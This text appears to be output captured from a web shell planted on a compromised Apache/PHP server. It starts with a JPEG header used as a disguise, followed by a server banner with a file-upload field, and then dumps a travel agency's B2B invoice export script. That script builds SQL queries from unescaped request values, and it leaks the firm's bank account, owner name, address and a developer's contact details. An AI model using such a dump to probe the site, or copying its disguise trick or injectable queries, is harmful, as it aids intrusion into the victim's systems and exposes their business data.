ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/admin/cal/ |
Upload File : |
<?php include "../include/top_proc.html"; $agentID = $agent_id; if(!$agentID){ echo "<script>alert('agentID가 없습니다.');</script>"; exit; } //p($agent_id); //exit; // 엑셀 파일명 설정 $FileName = "B2B_INVOICE"; $FileName = $FileName."_".Date("Ymd").".xls"; $FileName = urlencode($FileName); // UTF-8 $sql = "SELECT g_uid, b_uid, m_uid, s_uid FROM good"; $goodRes = db_query($sql); $goodInfoList = array(); while($row = db_fetch_array($goodRes)){ $goodInfoList[$row['g_uid']] = $row; } // 엑셀 파일로 변환 헤더 header("Content-Type: application/vnd.ms-excel"); header("Content-Disposition: attachment; filename=$FileName"); header("Content-Description: PHP4 Generated Data" ); $tk_info = array( 'name' => 'TK트래블', 'addr' => '서울시 동대문구 신이문로39 명경빌딩 5층', 'tel' => '02-6298-8000', 'ceo' => '강일구 대표', 'bank' => '국민은행', 'account' => '99919-107950', 'holder' => '강일구(TKTRAVEL)' ); if($agent_row['bz_avnk_cd']){ $bank_code = base_codec("ACC","AVNK", $agent_row['bz_avnk_cd']); $bank_name = $bank_code[0]['cd_nm']; } // 회원 여부 체크 $query = "select * from TB_MEMBER where mb_id ='{$agentID}' and del_flag='N' and mb_level <= ".$cf['trade_level']; $result = db_query( $query ); $agent_row = db_fetch_array( $result ); if( !$agent_row ){ error('올바르지 않은 아이디입니다.', '0003'); } $agent_info = array( 'name' => $agent_row['bz_corp_nm'], 'addr' => $agent_row['mb_address1'].'<br>'.$agent_row['mb_address2'], 'tel' => $agent_row['mb_phone'], 'ceo' => $agent_row['mb_nm'], 'bank' => $bank_name, 'account' => $agent_row['bz_avnk_number'], 'holder' => $agent_row['bz_avnk_owner'] ); //p($agent_info); if(!isset($_GET['dateterm'])){ if($period_yy == ""){ $period_yy = date('Y'); } if($period_mm == ""){ $period_mm = date('m'); } }else{ $periodEx = explode("-",$_GET['dateterm']); $period_yy = $periodEx[0]; $period_mm = $periodEx[1]; } $period = $period_yy . "-" . $period_mm; //p($period); //exit; $monthLastDay = date('t', strtotime($period)); //p($monthLastDay); // 관리자 //$admin_arr = member_fetch(" and mb_level <= 10 and del_flag='N' "); $agent_list = member_fetch(" and mb_id='{$agent_id}' "); //p($agent_list); $agentList = array(); foreach($agent_list as $item){ $agentList[$item['mb_id']] = $item['bz_corp_nm']; } //$data_agent = array(); $agentSellList = array(); foreach($agent_list as $item){ $agentSellList[$item['mb_id']]['mb_id'] = $item['mb_id']; $agentSellList[$item['mb_id']]['name'] = $item['bz_corp_nm']; $agentSellList[$item['mb_id']]['bz_nat'] = $item['bz_nat']; // $agentSellList[$item['mb_id']]['T'] = array('cnt' => 0, 'amount' => 0); //Ticket Pass // $agentSellList[$item['mb_id']]['D'] = array('cnt' => 0, 'amount' => 0); //Day Tour // $agentSellList[$item['mb_id']]['P'] = array('cnt' => 0, 'amount' => 0); //Bus Tour // $agentSellList[$item['mb_id']]['L'] = array('cnt' => 0, 'amount' => 0); //Hotel // $agentSellList[$item['mb_id']]['S'] = array('cnt' => 0, 'amount' => 0); //Pickup // $agentSellList[$item['mb_id']]['R'] = array('cnt' => 0, 'amount' => 0); //Rentcar // $agentSellList[$item['mb_id']]['V'] = array('cnt' => 0, 'amount' => 0); //Live Tour $agentSellList[$item['mb_id']] = array('totalCnt' => 0, 'totalAmount' => 0); //total } $start_ym = $period_yy.'-'.$period_mm; $end_ym = $period_yy.'-'.$period_mm; $res_data = TO_get_reserv_data_b2b($start_ym, $end_ym); //if(devCookie()){ // p($res_data); //} $resData = array(); foreach($res_data as $item) { if($item['agent_id'] == $agentID){ array_push($resData, $item); } } $resDataArr = array(); //p($resData); //exit; foreach($resData as $item){ $item['personAdult'] = (int) $item['personAdult']; $item['personChild'] = (int) $item['personChild']; $item['personBaby'] = (int) $item['personBaby']; if(isset($resDataArr[$item['res_no']])){ $resDataArr[$item['res_no']]['adultCnt'] += $item['personAdult']; $resDataArr[$item['res_no']]['childCnt'] += $item['personChild']; $resDataArr[$item['res_no']]['babyCnt'] += $item['personBaby']; }else{ $resDataArr[$item['res_no']] = array(); $resDataArr[$item['res_no']]['g_title'] = $item['g_title']; $resDataArr[$item['res_no']]['start_date'] = $item['start_date']; if($item['agent_id'] == 'tourboss'){ // if(devCookie()){ // p($item['adult_price']); // } $resDataArr[$item['res_no']]['adultUnitPrice'] = $item['adult_price']; $resDataArr[$item['res_no']]['childUnitPrice'] = $item['child_price']; $resDataArr[$item['res_no']]['babyUnitPrice'] = $item['baby_price']; }else{ $resDataArr[$item['res_no']]['adultUnitPrice'] = $item['adult_agent']; $resDataArr[$item['res_no']]['childUnitPrice'] = $item['child_agent']; $resDataArr[$item['res_no']]['babyUnitPrice'] = $item['baby_agent']; } if($goodInfoList[$item['g_uid']]['b_uid'] == 162 || $goodInfoList[$item['g_uid']]['b_uid'] == 114){ if($item['gdt_pe_daesu'] > 0){ $resDataArr[$item['res_no']]['adultCnt'] = (int) $item['gdt_pe_daesu']; }else{ $resDataArr[$item['res_no']]['adultCnt'] = $item['personAdult']; } }else{ $resDataArr[$item['res_no']]['adultCnt'] = $item['personAdult']; } $resDataArr[$item['res_no']]['childCnt'] = $item['personChild']; $resDataArr[$item['res_no']]['babyCnt'] = $item['personBaby']; //옵션정보 if($item['res_no']){ $resOptionData = getResOption($item['res_no']); if(count($resOptionData) > 0){ foreach($resOptionData as $opItem){ if($opItem['op_num'] > 0){ $opPriceAgent = (int) $opItem['op_price_agent']; $opNum = (int) $opItem['op_num']; $opNm = $opItem['op_nm']; if($opPriceAgent == 0 || $opNum == 0){ continue; } $opTotal = $opNum * $opPriceAgent; $ccc += $opTotal; $resDataArr[$item['res_no']]['optionData'][] = array('opNum' => $opNum, 'opPriceAgent' => $opPriceAgent, 'opNm' => $opNm, 'opTotal' => $opTotal); } } } } } if(count($item['optionData']) > 0){ foreach($item['optionData'] as $optionItem){ // p($optionItem); // p($optionItem['opTotal']); $grandTotalPrice += $optionItem['opTotal']; } } // p(count($item['optionData'])); $firstRowsCnt += count($item['optionData']); } function getResOption($resNo){ $sql = "SELECT * FROM TB_RES_GOOD_OPTION WHERE res_no = '{$resNo}'"; $res = db_query($sql); $resturnData = array(); while($row = db_fetch_array($res)){ array_push($resturnData, $row); } return $resturnData; } $resData = $resDataArr; $calStartDate = $period_yy.'.'.$period_mm.'.01'; $calEndDate = $period_yy.'.'.$period_mm.'.'.$monthLastDay; $firstRowsCnt = 2; $grandTotalPrice = 0; //총금액 foreach($resData as $item) { //어덜트영역 if ($item['adultCnt'] > 0) { $grandTotalPrice += ($item['adultUnitPrice'] * $item['adultCnt']); $firstRowsCnt += 1; } if ($item['childCnt'] > 0) { $grandTotalPrice += ($item['childUnitPrice'] * $item['childCnt']); $firstRowsCnt += 1; } if ($item['babyCnt'] > 0) { $grandTotalPrice += ($item['babyUnitPrice'] * $item['babyCnt']); $firstRowsCnt += 1; } if(count($item['optionData']) > 0){ foreach($item['optionData'] as $optionItem){ $grandTotalPrice += $optionItem['opTotal']; } } $firstRowsCnt += count($item['optionData']); } //p($grandTotalPrice); ?> <html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"> <head> <meta http-equiv=Content-Type content="text/html; charset=utf-8"> <meta name=ProgId content=Excel.Sheet> <meta name=Generator content="Microsoft Excel 10"> <style> <!-- table {mso-displayed-decimal-separator:"\."; mso-displayed-thousand-separator:"\,";} @page {margin:1.0in .75in 1.0in .75in; mso-header-margin:.5in; mso-footer-margin:.5in;} --> </style> <!--[if gte mso 9]><xml> <x:ExcelWorkbook> <x:ExcelWorksheets> <x:ExcelWorksheet> <x:Name>Sheet1</x:Name> <x:WorksheetOptions> <x:Print> <x:ValidPrinterInfo/> </x:Print> <x:Selected/> </x:WorksheetOptions> </x:ExcelWorksheet> </x:ExcelWorksheets> </x:ExcelWorkbook> </xml><![endif]--> <meta http-equiv=Content-Language content=ko> </head> <body> <table> <tr height="170" rowspan="2"> <td><!-- start --> <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1"> <tr> <td colspan="10" style="text-align:center" align="center"> <h1><img width="815" height="" align="center" src="http://tourboss.co.kr/admin/TCPDF/erp/images/b2b_month_top.jpg" /></h1> </td> </tr> </table> </td><!-- end --> </tr> <td><!-- start --> <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1"> <tr bgcolor="#000000"> <td colspan="10" style="text-align:center;color:#fff"> 판매자정보 </td> </tr> <tr> <td rowspan="3" align="center" bgcolor="#000000" style="color:#fff">업체정보</td> <td colspan="2" align="center" bgcolor="#cccccc">회사명</td> <td align="left"><?=$agent_info['name']?></td> <td colspan="3" align="center" bgcolor="#cccccc">회사주소</td> <td colspan="3" align="center" ><?=$agent_info['addr']?></td> </tr> <tr> <td colspan="2" align="center" bgcolor="#cccccc">담당자 이름</td> <td><?=$agent_info['ceo']?></td> <td align="center" colspan="2" rowspan="2" bgcolor="#cccccc">연락처</td> <td align="center" bgcolor="#cccccc">직통번호</td> <td align="left" colspan="3"><?=$agent_info['tel']?></td> </tr> <tr> <td align="center" colspan="2" bgcolor="#cccccc">이메일 주소</td> <td><!--tktraveldeveloper@icloud.com--></td> <td align="center" bgcolor="#cccccc">Mobile</td> <td colspan="3"><!--01021330111--></td> </tr> </table> </td><!-- end --> </tr> <tr height="20"> <td><!-- space start --> </td><!-- space end --> </tr> <tr> <td><!-- start --> <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1"> <tr> <td bgcolor="#ff1493" colspan="3" align="center"style="color:#ffffff">총금액(KRW)</td> <td colspan="7" align="center"><?=number_format($grandTotalPrice)?>원</td> </tr> <?php if($period_mm == '01'){ $period_mm = 1; }else if($period_mm == '02'){ $period_mm = 2; }else if($period_mm == '03'){ $period_mm = 3; }else if($period_mm == '04'){ $period_mm = 4; }else if($period_mm == '05'){ $period_mm = 5; }else if($period_mm == '06'){ $period_mm = 6; }else if($period_mm == '07'){ $period_mm = 7; }else if($period_mm == '08'){ $period_mm = 8; }else if($period_mm == '09'){ $period_mm = 9; } ?> <tr> <td rowspan="2" colspan="3" bgcolor="#000000" align="center" style="color:#ffffff">정산기간 (<?=$period_mm?>월)</td> <td align="center" bgcolor="#cccccc">시작일 ~ 종료일</td> <td align="center" bgcolor="#000000" style="color:#ffffff" colspan="3" rowspan="2">청구사 정보</td> <td align="center" bgcolor="#cccccc">담당자</td> <td align="center" colspan="2" bgcolor="#cccccc">작성일</td> </tr> <tr> <td align="center"><?=$calStartDate?> ~ <?=$calEndDate?></td> <td></td> <td colspan="2"></td> </tr> </table> </td><!-- end --> </tr> <tr height="20"> <td><!-- space start --> </td><!-- space end --> </tr> <tr> <td><!-- start --> <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1"> <tr height="35"> <th align="center" bgcolor="#000000" style="color:#ffffff" rowspan="<?=$firstRowsCnt?>">상품내용</th> <th align="center" bgcolor="#E7E7E7">번호</th> <th align="center" bgcolor="#E7E7E7">사용일</th> <th align="center" bgcolor="#E7E7E7">상품명</th> <th align="center" bgcolor="#E7E7E7">인원/수량</th> <th align="center" bgcolor="#E7E7E7">#</th> <th align="center" bgcolor="#E7E7E7">단가</th> <th align="center" bgcolor="#E7E7E7">소계</th> <th align="center" bgcolor="#E7E7E7">추가옵션</th> <th align="center" bgcolor="#E7E7E7">비고</th> </tr> <?php $no = 1; $grandTotalCnt = 0; $grandTotalPrice = 0; foreach($resData as $item){ //어덜트영역 if($item['adultCnt'] > 0) { $grandTotalPrice += ($item['adultUnitPrice'] * $item['adultCnt']); $grandTotalCnt += $item['adultCnt']; ?> <tr> <td align="center"><?=$no?></td> <td align="center"><?=$item['start_date']?></td> <td align="left"><?=$item['g_title']?></td> <td align="center"><?=$item['adultCnt']?></td> <td align="center">대인</td> <td align="right"><?=number_format($item['adultUnitPrice'])?></td> <td align="right"><?=number_format($item['adultUnitPrice'] * $item['adultCnt'])?></td> <td align="center"></td> <td align="center"></td> </tr> <?php $no++; } //차일드영역 if($item['childCnt'] > 0) { $grandTotalPrice += ($item['childUnitPrice'] * $item['childCnt']); $grandTotalCnt += $item['childCnt']; ?> <tr> <td align="center"><?=$no?></td> <td align="center"><?=$item['start_date']?></td> <td align="left"><?=$item['g_title']?></td> <td align="center"><?=$item['childCnt']?></td> <td align="center">소인</td> <td align="right"><?=number_format($item['childUnitPrice'])?></td> <td align="right"><?=number_format($item['childUnitPrice'] * $item['childCnt'])?></td> <td align="center"></td> <td align="center"></td> </tr> <?php $no++; } //베이비영역 if($item['babyCnt'] > 0) { $grandTotalPrice += ($item['babyUnitPrice'] * $item['babyCnt']); $grandTotalCnt += $item['babyCnt']; ?> <tr> <td align="center"><?=$no?></td> <td align="center"><?=$item['start_date']?></td> <td align="left"><?=$item['g_title']?></td> <td align="center"><?=$item['babyCnt']?></td> <td align="center">아동</td> <td align="right"><?=number_format($item['babyUnitPrice'])?></td> <td align="right"><?=number_format($item['babyUnitPrice'] * $item['babyCnt'])?></td> <td align="center"></td> <td align="center"></td> </tr> <?php $no++; } ?> <?php //옵션 영역 if(count($item['optionData']) > 0) { foreach($item['optionData'] as $optionList){ $grandTotalPrice += (int) $optionList['opTotal']; $grandTotalCnt += (int) $item['opNum']; ?> <tr> <td align="center"><?=$no?></td> <td align="center"><?=$item['start_date']?></td> <td align="left"><?=$optionList['opNm']?></td> <td align="center"><?=$optionList['opNum']?></td> <td align="center">대인</td> <td align="right"><?=number_format($optionList['opPriceAgent'])?></td> <td align="right"><?=number_format($optionList['opTotal'])?></td> <td align="center"></td> <td align="center"></td> </tr> <?php $no++; } } ?> <?php } ?> <tr> <td bgcolor="yellow"></td> <td bgcolor="yellow" colspan="2" align="center">합계</td> <td bgcolor="yellow" style="text-align:center"><?=number_format($grandTotalCnt)?></td> <td bgcolor="yellow"></td> <td bgcolor="yellow"></td> <td bgcolor="yellow" align="right" class="total"><?=number_format($grandTotalPrice)?></td> <td bgcolor="yellow"></td> <td bgcolor="yellow"></td> </tr> </table> </td><!-- end --> </tr> <tr height="20"> <td><!-- space start --> </td><!-- space end --> </tr> <tr> <td><!-- start --> <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1"> <tr> <td bgcolor="#000000" style="color:#ffffff" > 입금계좌정보 </td> <td bgcolor="#cccccc" align="center" colspan="2"> KRW </td> <td bgcolor="#f7f7f7" colspan="7"> 은행명(Bank Name) : <?=$tk_info['bank']?> <br><br> 계좌번호(Bank Account) : <?=$tk_info['account']?> <br><br> 소유자(Holder Name) : <?=$tk_info['holder']?> </td> </tr> </table> </td><!-- end --> </tr> <tr height="20"> <td><!-- space start --> </td><!-- space end --> </tr> <tr> <td><!-- start --> <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1"> <tr> <td colspan="10" align="center" bgcolor="#000000" style="color:#ffffff">입금 기한 날짜</td> </tr> <tr> <td colspan="3" align="center" bgcolor="#cccccc" >비고</td> <td colspan="7"></td> </tr> </table> </td><!-- end --> </tr> <tr height="20"> <td><!-- space start --> </td><!-- space end --> </tr> <tr> <td><!-- start --> <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1"> <tr> <td colspan="10" style="text-align:center" align="center"> <h1><img width="815" height="" align="center" src="http://tourboss.co.kr/admin/TCPDF/erp/images/b2b_month_bottom.jpg" /></h1> </td> </tr> </table> </td><!-- end --> </tr> </table> </body> </html>